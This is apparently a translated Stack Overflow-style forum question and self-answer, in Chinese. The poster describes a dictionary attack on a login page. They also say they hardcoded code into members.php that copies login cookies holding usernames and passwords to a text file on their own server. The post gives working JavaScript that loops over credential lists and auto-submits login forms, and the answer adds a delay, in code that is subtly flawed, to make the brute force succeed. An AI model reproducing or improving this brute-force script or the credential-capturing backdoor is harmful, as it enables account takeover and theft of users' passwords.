我正在做一个项目,我必须进行字典攻击。我正在运行一个脚本,该脚本会发布到登录页面将发布到的页面(比如members.php)。只有输入正确的用户名和密码后才能在服务器端发生的事情是设置了cookie。 Cookie具有用户名和密码值的值。 (是的,我可以访问源代码)。
我在members.php中对脚本进行了硬编码,这样每次有人登录时都会检索cookie的值并将其存储在我服务器的文本文件中。因此,我将能够跟踪谁曾成功登录。
我正在尝试使用以下脚本发布到members.php以尝试查看逻辑是否有效:
function dictionary_run(username,password) {
var theForm, newInput7, newInput8, newInput9;
var i=0,j=0;
var bla3 = "Login";
theForm = document.createElement("form");
theForm.action = "URL/members.php";
theForm.method = "post";
newInput9 = document.createElement("input");
newInput9.type = "text";
newInput9.name = "username";
newInput9.value = username;
newInput8 = document.createElement("input");
newInput8.type = "password";
newInput8.name = "password";
newInput8.value = password;
newInput7 = document.createElement("input");
newInput7.type = "submit";
newInput7.name = "submit";
newInput7.value = bla3;
theForm.appendChild(newInput9);
theForm.appendChild(newInput8);
theForm.appendChild(newInput7);
newInput7.click();
}
function main() {
var user_name = ["jasmine", "fd", "jasmhghine","dfdf"];
var pass_word = ["jasmine", "jasminhge", "dffd","dfdfdf"];
var i,j;
for(i=0; i<4 ;i++) {
for(j=0; j<4;j++) {
dictionary_run(user_name[i],pass_word[j]);
}
}
}
main();
显然它不起作用。我知道茉莉作为密码和用户名是正确的(user_name [0]和pass_word [0]在这里)。即使这样,我的脚本在members.php中进行了硬编码,也没有捕获成功的登录尝试。
我也尝试用
打破它if(document.cookie) break;
每次提交后。这也行不通。我想不出另一种检查登录尝试是否成功的方法。
非常感谢任何帮助。 谢谢!
答案 0 :(得分:0)
好吧,我发现了这个问题,只是因为我在很快的时间内发帖,只检查了最后一个输入。所以我只是使用了几秒钟的延迟而且工作正常。
for(i=0; i<4;i++) {
for(j=0; j<4;j++) {
var delay=5000;//1 seconds
setTimeout(function(){
dictionary_run(user_name[i],pass_word[j]);
},delay);
}
}
谢谢!